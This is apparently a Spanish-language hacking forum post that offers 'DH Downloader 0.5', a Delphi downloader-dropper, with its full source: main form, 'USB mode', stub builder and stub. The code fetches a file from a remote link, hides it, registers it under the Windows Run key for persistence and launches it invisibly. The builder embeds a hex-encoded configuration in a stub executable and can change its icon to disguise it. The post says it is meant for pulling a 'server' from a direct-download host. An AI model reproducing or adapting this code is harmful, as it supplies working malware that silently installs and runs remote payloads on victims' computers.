- Se puede cambiar el nombre del archivo descargado
- Se puede guardar en la carpeta que quieran
- Se puede ocultar el archivo
- Hace que el archivo se inicie cada vez que carga Windows
- Se puede cargar oculto o normal
- Tambien hice un generador en el que esta pensado para poner un link de descarga directa como dropbox para bajar un server en el cual tambien se le puede cambiar el icono.
Unas imagenes :
El codigo.
El form principal.
Código
// DH Downloader 0.5 // (C) Doddy Hackman 2013 unit dh; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, acPNG, ExtCtrls, sSkinManager, StdCtrls, sGroupBox, sButton; type TForm1 = class(TForm) sSkinManager1: TsSkinManager; Image1: TImage; sGroupBox1: TsGroupBox; sButton1: TsButton; sButton2: TsButton; sButton3: TsButton; sButton4: TsButton; procedure sButton3Click(Sender: TObject); procedure sButton4Click(Sender: TObject); procedure sButton1Click(Sender: TObject); procedure sButton2Click(Sender: TObject); procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation uses about, usbmode, generate; {$R *.dfm} procedure TForm1.FormCreate(Sender: TObject); begin sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data'; sSkinManager1.SkinName := 'neonnight'; sSkinManager1.Active := True; end; procedure TForm1.sButton1Click(Sender: TObject); begin Form3.Show; end; procedure TForm1.sButton2Click(Sender: TObject); begin Form4.Show; end; procedure TForm1.sButton3Click(Sender: TObject); begin Form2.Show; end; procedure TForm1.sButton4Click(Sender: TObject); begin Form1.Close; end; end. // The End ?
El USB Mode.
Código
// DH Downloader 0.5 // (C) Doddy Hackman 2013 unit usbmode; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, acPNG, ExtCtrls, ComCtrls, sStatusBar, StdCtrls, sGroupBox, sEdit, sLabel, sCheckBox, sRadioButton, sButton, acProgressBar, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, Registry, ShellApi; type TForm3 = class(TForm) Image1: TImage; sStatusBar1: TsStatusBar; sGroupBox1: TsGroupBox; sGroupBox2: TsGroupBox; sEdit1: TsEdit; sGroupBox3: TsGroupBox; sCheckBox1: TsCheckBox; sEdit2: TsEdit; sCheckBox2: TsCheckBox; sEdit3: TsEdit; sCheckBox3: TsCheckBox; sCheckBox4: TsCheckBox; sCheckBox5: TsCheckBox; sRadioButton1: TsRadioButton; sRadioButton2: TsRadioButton; sGroupBox4: TsGroupBox; sButton1: TsButton; sProgressBar1: TsProgressBar; IdHTTP1: TIdHTTP; procedure sButton1Click(Sender: TObject); procedure IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode; AWorkCount: Int64); procedure IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode; AWorkCountMax: Int64); procedure IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode); procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form3: TForm3; implementation uses about, dh; {$R *.dfm} // Functions function getfilename(archivo: string): string; var test: TStrings; begin test := TStringList.Create; test.Delimiter := '/'; test.DelimitedText := archivo; Result := test[test.Count - 1]; test.Free; end; // procedure TForm3.FormCreate(Sender: TObject); begin sProgressBar1.Position := 0; end; procedure TForm3.IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode; AWorkCount: Int64); begin sProgressBar1.Position := AWorkCount; sStatusBar1.Panels[0].Text := '[+] Downloading ...'; sStatusBar1.Update; end; procedure TForm3.IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode; AWorkCountMax: Int64); begin sProgressBar1.Max := AWorkCountMax; sStatusBar1.Panels[0].Text := '[+] Starting download ...'; sStatusBar1.Update; end; procedure TForm3.IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode); begin sProgressBar1.Position := 0; end; procedure TForm3.sButton1Click(Sender: TObject); var filename: string; nombrefinal: string; addnow: TRegistry; archivobajado: TFileStream; begin if not sCheckBox1.Checked then begin filename := sEdit1.Text; nombrefinal := getfilename(filename); end else begin nombrefinal := sEdit2.Text; end; archivobajado := TFileStream.Create(nombrefinal, fmCreate); try begin DeleteFile(nombrefinal); IdHTTP1.Get(sEdit1.Text, archivobajado); sStatusBar1.Panels[0].Text := '[+] File Dowloaded'; sStatusBar1.Update; archivobajado.Free; end; except sStatusBar1.Panels[0].Text := '[-] Failed download'; sStatusBar1.Update; archivobajado.Free; Abort; end; if FileExists(nombrefinal) then begin if sCheckBox2.Checked then begin if not DirectoryExists(sEdit3.Text) then begin CreateDir(sEdit3.Text); end; MoveFile(Pchar(nombrefinal), Pchar(sEdit3.Text + '/' + nombrefinal)); sStatusBar1.Panels[0].Text := '[+] File Moved'; sStatusBar1.Update; end; if sCheckBox3.Checked then begin SetFileAttributes(Pchar(sEdit3.Text), FILE_ATTRIBUTE_HIDDEN); if sCheckBox2.Checked then begin SetFileAttributes(Pchar(sEdit3.Text + '/' + nombrefinal), FILE_ATTRIBUTE_HIDDEN); sStatusBar1.Panels[0].Text := '[+] File Hidden'; sStatusBar1.Update; end else begin SetFileAttributes(Pchar(nombrefinal), FILE_ATTRIBUTE_HIDDEN); sStatusBar1.Panels[0].Text := '[+] File Hidden'; sStatusBar1.Update; end; end; if sCheckBox4.Checked then begin addnow := TRegistry.Create; addnow.RootKey := HKEY_LOCAL_MACHINE; addnow.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE); if sCheckBox2.Checked then begin addnow.WriteString('uber', sEdit3.Text + '/' + nombrefinal); end else begin addnow.WriteString('uber', ExtractFilePath(Application.ExeName) + '/' + nombrefinal); end; sStatusBar1.Panels[0].Text := '[+] Registry Updated'; sStatusBar1.Update; addnow.Free; end; if sCheckBox5.Checked then begin if sRadioButton1.Checked then begin if sCheckBox2.Checked then begin ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal), nil, nil, SW_SHOWNORMAL); end else begin ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil, SW_SHOWNORMAL); end; end else begin if sCheckBox2.Checked then begin ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal), nil, nil, SW_HIDE); end else begin ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil, SW_HIDE); end; end; end; if sCheckBox1.Checked or sCheckBox2.Checked or sCheckBox3.Checked or sCheckBox4.Checked or sCheckBox5.Checked then begin sStatusBar1.Panels[0].Text := '[+] Finished'; sStatusBar1.Update; end; end; end; end. // The End ?
El generador.
Código
// DH Downloader 0.5 // (C) Doddy Hackman 2013 unit generate; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, acPNG, ExtCtrls, StdCtrls, sGroupBox, sEdit, ComCtrls, sStatusBar, sButton, sCheckBox, sComboBox, sRadioButton, madRes, sPageControl; type TForm4 = class(TForm) Image1: TImage; sStatusBar1: TsStatusBar; OpenDialog1: TOpenDialog; sPageControl1: TsPageControl; sTabSheet1: TsTabSheet; sTabSheet2: TsTabSheet; sTabSheet3: TsTabSheet; sGroupBox1: TsGroupBox; sGroupBox2: TsGroupBox; sEdit1: TsEdit; sGroupBox3: TsGroupBox; sEdit2: TsEdit; sGroupBox4: TsGroupBox; sRadioButton1: TsRadioButton; sRadioButton2: TsRadioButton; sGroupBox5: TsGroupBox; sGroupBox6: TsGroupBox; sGroupBox7: TsGroupBox; Image2: TImage; sButton1: TsButton; sGroupBox8: TsGroupBox; sComboBox1: TsComboBox; sGroupBox9: TsGroupBox; sCheckBox1: TsCheckBox; sEdit3: TsEdit; sGroupBox10: TsGroupBox; sButton2: TsButton; procedure sButton1Click(Sender: TObject); procedure sEdit2Click(Sender: TObject); procedure sButton2Click(Sender: TObject); procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form4: TForm4; implementation {$R *.dfm} // Functions function dhencode(texto, opcion: string): string; // Thanks to Taqyon // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex var num: integer; aca: string; cantidad: integer; begin num := 0; Result := ''; aca := ''; cantidad := 0; if (opcion = 'encode') then begin cantidad := length(texto); for num := 1 to cantidad do begin aca := IntToHex(ord(texto[num]), 2); Result := Result + aca; end; end; if (opcion = 'decode') then begin cantidad := length(texto); for num := 1 to cantidad div 2 do begin aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2))); Result := Result + aca; end; end; end; function getfilename(archivo: string): string; var test: TStrings; begin test := TStringList.Create; test.Delimiter := '/'; test.DelimitedText := archivo; Result := test[test.Count - 1]; test.Free; end; // procedure TForm4.FormCreate(Sender: TObject); begin OpenDialog1.InitialDir := GetCurrentDir; OpenDialog1.Filter := 'ICO|*.ico|'; end; procedure TForm4.sButton2Click(Sender: TObject); var linea: string; aca: THandle; code: Array [0 .. 9999 + 1] of Char; nose: DWORD; marca_uno: string; marca_dos: string; url: string; opcionocultar: string; savein: string; lineafinal: string; stubgenerado: string; tipodecarga: string; change: DWORD; valor: string; begin url := sEdit1.Text; stubgenerado := 'tiny_down.exe'; if (sRadioButton2.Checked = True) then begin tipodecarga := '1'; end else begin tipodecarga := '0'; end; if (sCheckBox1.Checked = True) then begin opcionocultar := '1'; end else begin opcionocultar := '0'; end; if (sComboBox1.Items[sComboBox1.ItemIndex] = '') then begin savein := 'USERPROFILE'; end else begin savein := sComboBox1.Items[sComboBox1.ItemIndex]; end; lineafinal := '[link]' + url + '[link]' + '[opcion]' + opcionocultar + '[opcion]' + '[path]' + savein + '[path]' + '[name]' + sEdit2.Text + '[name]' + '[carga]' + tipodecarga + '[carga]'; marca_uno := '[63686175]' + dhencode(lineafinal, 'encode') + '[63686175]'; aca := INVALID_HANDLE_VALUE; nose := 0; DeleteFile(stubgenerado); CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' + 'Data/stub_down.exe'), PChar (ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True); linea := marca_uno; StrCopy(code, PChar(linea)); aca := CreateFile(PChar(stubgenerado), GENERIC_WRITE, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0); if (aca <> INVALID_HANDLE_VALUE) then begin SetFilePointer(aca, 0, nil, FILE_END); WriteFile(aca, code, 9999, nose, nil); CloseHandle(aca); end; // if not(sEdit3.Text = '') then begin try begin valor := IntToStr(128); change := BeginUpdateResourceW (PWideChar(wideString(ExtractFilePath(Application.ExeName) + '/' + stubgenerado)), False); LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0, PWideChar(wideString(sEdit3.Text))); EndUpdateResourceW(change, False); sStatusBar1.Panels[0].Text := '[+] Done '; sStatusBar1.Update; end; except begin sStatusBar1.Panels[0].Text := '[-] Error'; sStatusBar1.Update; end; end; end else begin sStatusBar1.Panels[0].Text := '[+] Done '; sStatusBar1.Update; end; // end; procedure TForm4.sButton1Click(Sender: TObject); begin if OpenDialog1.Execute then begin Image2.Picture.LoadFromFile(OpenDialog1.FileName); sEdit3.Text := OpenDialog1.FileName; end; end; procedure TForm4.sEdit2Click(Sender: TObject); begin if not(sEdit1.Text = '') then begin sEdit2.Text := getfilename(sEdit1.Text); end; end; end. // The End ?
El stub
Código
// DH Downloader 0.5 // (C) Doddy Hackman 2013 // Stub program stub_down; // {$APPTYPE CONSOLE} uses SysUtils, Windows, URLMon, ShellApi; // Functions function regex(text: String; deaca: String; hastaaca: String): String; begin Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1); SetLength(text, AnsiPos(hastaaca, text) - 1); Result := text; end; function dhencode(texto, opcion: string): string; // Thanks to Taqyon // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex var num: integer; aca: string; cantidad: integer; begin num := 0; Result := ''; aca := ''; cantidad := 0; if (opcion = 'encode') then begin cantidad := Length(texto); for num := 1 to cantidad do begin aca := IntToHex(ord(texto[num]), 2); Result := Result + aca; end; end; if (opcion = 'decode') then begin cantidad := Length(texto); for num := 1 to cantidad div 2 do begin aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2))); Result := Result + aca; end; end; end; // var ob: THandle; code: Array [0 .. 9999 + 1] of Char; nose: DWORD; link: string; todo: string; opcion: string; path: string; nombre: string; rutafinal: string; tipodecarga: string; begin try ob := INVALID_HANDLE_VALUE; code := ''; ob := CreateFile(pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0); if (ob <> INVALID_HANDLE_VALUE) then begin SetFilePointer(ob, -9999, nil, FILE_END); ReadFile(ob, code, 9999, nose, nil); CloseHandle(ob); end; todo := regex(code, '[63686175]', '[63686175]'); todo := dhencode(todo, 'decode'); link := regex(todo, '[link]', '[link]'); opcion := regex(todo, '[opcion]', '[opcion]'); path := regex(todo, '[path]', '[path]'); nombre := regex(todo, '[name]', '[name]'); tipodecarga := regex(todo, '[carga]', '[carga]'); rutafinal := GetEnvironmentVariable(path) + '/' + nombre; try begin UrlDownloadToFile(nil, pchar(link), pchar(rutafinal), 0, nil); if (FileExists(rutafinal)) then begin if (opcion = '1') then begin SetFileAttributes(pchar(rutafinal), FILE_ATTRIBUTE_HIDDEN); end; if (tipodecarga = '1') then begin ShellExecute(0, 'open', pchar(rutafinal), nil, nil, SW_HIDE); end else begin ShellExecute(0, 'open', pchar(rutafinal), nil, nil, SW_SHOWNORMAL); end; end; end; except // end; except // end; end. // The End ?
Si lo quieren bajar lo pueden hacer de aca.